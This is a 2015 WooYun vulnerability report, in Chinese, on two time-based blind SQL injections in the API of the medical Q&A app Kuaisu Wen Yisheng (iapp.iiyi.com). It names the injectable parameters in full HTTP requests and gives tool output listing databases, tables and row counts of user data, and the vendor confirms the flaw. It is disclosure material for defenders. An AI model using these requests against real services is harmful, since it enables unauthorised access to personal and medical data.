快速问医生某站两枚延迟注入 | wooyun-2015-0148535| WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0148535

漏洞标题：快速问医生某站两枚延迟注入

漏洞作者： Hancock

提交时间：2015-10-22 09:56

修复时间：2015-12-10 09:14

公开时间：2015-12-10 09:14

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-22：细节已通知厂商并且等待厂商处理中
2015-10-26：厂商已经确认，细节仅向厂商公开
2015-11-05：细节向核心白帽子及相关领域专家公开
2015-11-15：细节向普通白帽子公开
2015-11-25：细节向实习白帽子公开
2015-12-10：细节向公众公开

简要描述：

快速问医生某站两枚延迟注入

详细说明：

1.
参数:uid

GET /zlzs/v6/other/chknum/?maxid=46670&version=62&tsid=0&uid=511340&signature=316fb0a67cacb068&os=2&uuid=862620029971316&type=today_case_update&channel=iiyi HTTP/1.1
Host: iapp.iiyi.com
Connection: Keep-Alive
Accept-Encoding: gzip

available databases [3]:
[*] information_schema
[*] test
[*] zhiye
current user:    'zhiye@%'

Database: zhiye
[51 tables]
+---------------------------+
| beitai_jkk                |
| beitai_jkk_info           |
| limit_class               |
| log_login                 |
| url_120net                |
| zhiye_admin_comment       |
| zhiye_beitai_doc          |
| zhiye_buy_path            |
| zhiye_check_doctor_order  |
| zhiye_click               |
| zhiye_consults            |
| zhiye_consults_copy       |
| zhiye_dept                |
| zhiye_dept_disease        |
| zhiye_dept_disease_copy   |
| zhiye_disease             |
| zhiye_doctor_complain     |
| zhiye_doctor_tags         |
| zhiye_doctor_task_lv      |
| zhiye_doctors             |
| zhiye_doctors_certificate |
| zhiye_doctors_check       |
| zhiye_doctors_copy        |
| zhiye_doctors_interview   |
| zhiye_doctors_msg         |
| zhiye_doctors_picture     |
| zhiye_doctors_remark      |
| zhiye_doctors_replycount  |
| zhiye_doctors_reward      |
| zhiye_doctors_search      |
| zhiye_doctors_symptom     |
| zhiye_doctors_welcome     |
| zhiye_domains             |
| zhiye_drawings            |
| zhiye_gratuitous          |
| zhiye_hezuo_user          |
| zhiye_notices             |
| zhiye_order_mobile        |
| zhiye_order_record        |
| zhiye_orders              |
| zhiye_orders_copy         |
| zhiye_orders_ext          |
| zhiye_orders_notes        |
| zhiye_pay_card            |
| zhiye_pay_feedback        |
| zhiye_pay_order           |
| zhiye_receive_msg         |
| zhiye_relation            |
| zhiye_replycount_mark     |
| zhiye_safes               |
| zhiye_thanks              |
+---------------------------+

2.
参数fid,uid(ps:和上面的同站点不同数据库)

POST /zlzs/v6/applica/literaturelist HTTP/1.1
Content-Length: 149
Content-Type: application/x-www-form-urlencoded
Host: iapp.iiyi.com
Connection: Keep-Alive
Accept-Encoding: gzip
fid=1&version=62&uid=5113407&signature=316fb0a60d81351b&os=2&uuid=862620029971316&page=1&limit=10&channel=iiyi

available databases [3]:
[*] iiyicenter
[*] information_schema
[*] test
current user:    'iiyicenter@%'

不会python遇到延迟注入心好累的说

COUNT(*)
Database: iiyicenter
+--------------------------+---------+
| Table                    | Entries |
+--------------------------+---------+
| app_access_detail_old    | 28473447 |
| dynamic_friends_0        | 20974637 |
| dynamic_aboutme_0        | 20970694 |
| dynamic_aboutme_9        | 20167989 |
| dynamic_friends_9        | 20160679 |
| dynamic_aboutme_8        | 19348024 |
| dynamic_friends_8        | 19341490 |
| dynamic_aboutme_6        | 19289556 |
| dynamic_friends_6        | 19282284 |
| dynamic_aboutme_4        | 19020399 |
| dynamic_friends_4        | 19012517 |
| dynamic_aboutme_7        | 18947158 |
| dynamic_friends_7        | 18940588 |
| dynamic_aboutme_1        | 18379309 |
| dynamic_aboutme_2        | 17805447 |
| dynamic_friends_2        | 17797747 |
| dynamic_aboutme_5        | 17711265 |
| dynamic_friends_5        | 17703381 |
| dynamic_aboutme_3        | 17270894 |
| dynamic_friends_3        | 17262676 |
| dynamic_friends_1        | 17191450 |
| app_access_detail        | 13410757 |
| applica_downdetial       | 7344028 |
| dynamic_autoid           | 5641553 |
| dynamic_square           | 5390616 |
| dynamic_0                | 4529266 |
| member_perfection        | 2629138 |
| member_beans_detial      | 2075829 |
| member_signin_detail     | 2046058 |
| member_relation          | 1476128 |
| applica_perdownload      | 1416018 |
| member_base              | 1215447 |
| home_access              | 894350  |
| disease_tags_posts       | 568732  |
| pms_detail               | 469387  |
| disease_tags_sous        | 451900  |
| pms_relation             | 447857  |
| case_comment             | 318711  |
| app_access_uuid          | 303506  |
| sysnotice                | 184563  |
| drug_to_action           | 117059  |
| member_bbs_signin        | 109220  |
| member_beans_tran_log    | 109042  |
| disease_tags_bingli      | 100580  |
| disease_tags_collection  | 100002  |
| disease_tags_question    | 99699   |
| drug_comp                | 88940   |
| posts                    | 76745   |
| disease_tags_news        | 60255   |
| euids                    | 50682   |
| case_myreply             | 50157   |
| `case`                   | 42706   |
| topic_comment            | 33942   |
| disease_tags_case        | 33914   |
| member_image             | 31925   |
| topic_myreply            | 30516   |
| member_certification     | 27869   |
| base_hospital            | 26701   |
| case_images              | 25237   |
| thread_support           | 23019   |
| sysnotice_mine_6         | 21972   |
| case_icons               | 21084   |
| sysnotice_mine_0         | 20102   |
| sysnotice_mine_5         | 19979   |
| case_collection          | 19960   |
| sysnotice_mine_9         | 18610   |
| sysnotice_mine_1         | 18547   |
| sysnotice_mine_4         | 17783   |
| sysnotice_mine_2         | 17278   |
| sysnotice_mine_7         | 17156   |
| sysnotice_mine_3         | 16981   |
| sysnotice_mine_8         | 15971   |
| threads                  | 15268   |
| applica_content          | 12579   |
| dynamic_tiny             | 10000   |
| dynamic_mine_0           | 8741    |
| drug_action              | 8527    |
| dynamic_mine_3           | 8357    |
| dynamic_mine_5           | 8191    |
| dynamic_mine_4           | 8102    |
| dynamic_mine_2           | 7934    |
| dynamic_mine_1           | 7690    |
| dynamic_mine_9           | 7496    |
| dynamic_mine_6           | 7401    |
| dynamic_mine_7           | 6745    |
| dynamic_mine_8           | 6668    |
| member_invitecode        | 6582    |
| topic_comment_support    | 5606    |
| topic_collection         | 4617    |
| disease_tags_look        | 3556    |
| topic                    | 3336    |
| base_area                | 3230    |
| hotmed                   | 3058    |
| case_comment_support     | 2929    |
| tupu_images              | 2434    |
| disease_tags_guide       | 2415    |
| feedback                 | 2379    |
| flash                    | 1948    |
| guide_collection         | 1812    |
| topic_images             | 1410    |
| disease_tags             | 1245    |
| guide                    | 1187    |
| flash_collection         | 1079    |
| dynamic_comment_0        | 1040    |
| beans_order              | 1016    |
| app_counts               | 973     |
| literature               | 921     |
| tupu_class               | 803     |
| tupu_class_copy          | 803     |
| advertise_static         | 772     |
| tupu_copy                | 762     |
| tupu                     | 760     |
| applica_sort             | 740     |
| member_certification_ask | 688     |
| member_invite_mobile     | 535     |
| it_topic                 | 454     |
| app_coupon               | 371     |
| it_images                | 306     |
| it_comment               | 234     |
| member_groups            | 196     |
| flash_comment            | 161     |
| flash_images             | 119     |
| disease_tags_topic       | 110     |
| dayly_news               | 94      |
| app_login_faild          | 48      |
| app_dbversion            | 47      |
| flash_comment_support    | 45      |
| band_records             | 29      |
| disease_tags_types       | 28      |
| case_noallow             | 24      |
| literature_sort          | 21      |
| flash_sort               | 12      |
| applica_dbversion        | 10      |
| company                  | 9       |
| case_admin               | 7       |
| site_var                 | 6       |
| tupu_class_type          | 5       |
| advertise                | 3       |
| app_activety             | 2       |
| member_black             | 2       |
| case_icons_log           | 1       |
+--------------------------+---------+

漏洞证明：

↑

修复方案：

删了吧、

版权声明：转载请注明来源 Hancock@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-10-26 09:13

厂商回复：

确认漏洞，感谢朋友！

WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0148535

漏洞标题：快速问医生某站两枚延迟注入

相关厂商：快速问医生

漏洞作者： Hancock

提交时间：2015-10-22 09:56

修复时间：2015-12-10 09:14

公开时间：2015-12-10 09:14

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 Hancock@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评价

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0148535

漏洞标题：快速问医生某站两枚延迟注入

相关厂商：快速问医生

漏洞作者： Hancock

提交时间：2015-10-22 09:56

修复时间：2015-12-10 09:14

公开时间：2015-12-10 09:14

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

Tags标签： 无

4人收藏 收藏 var token=""; var id="wooyun-2015-0148535"; $(".btn-fav").click(function(){ CollectBug(id,token); }); 分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 Hancock@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评价

漏洞概要关注数(24) 关注此漏洞

Tags标签：无

4人收藏收藏
分享漏洞：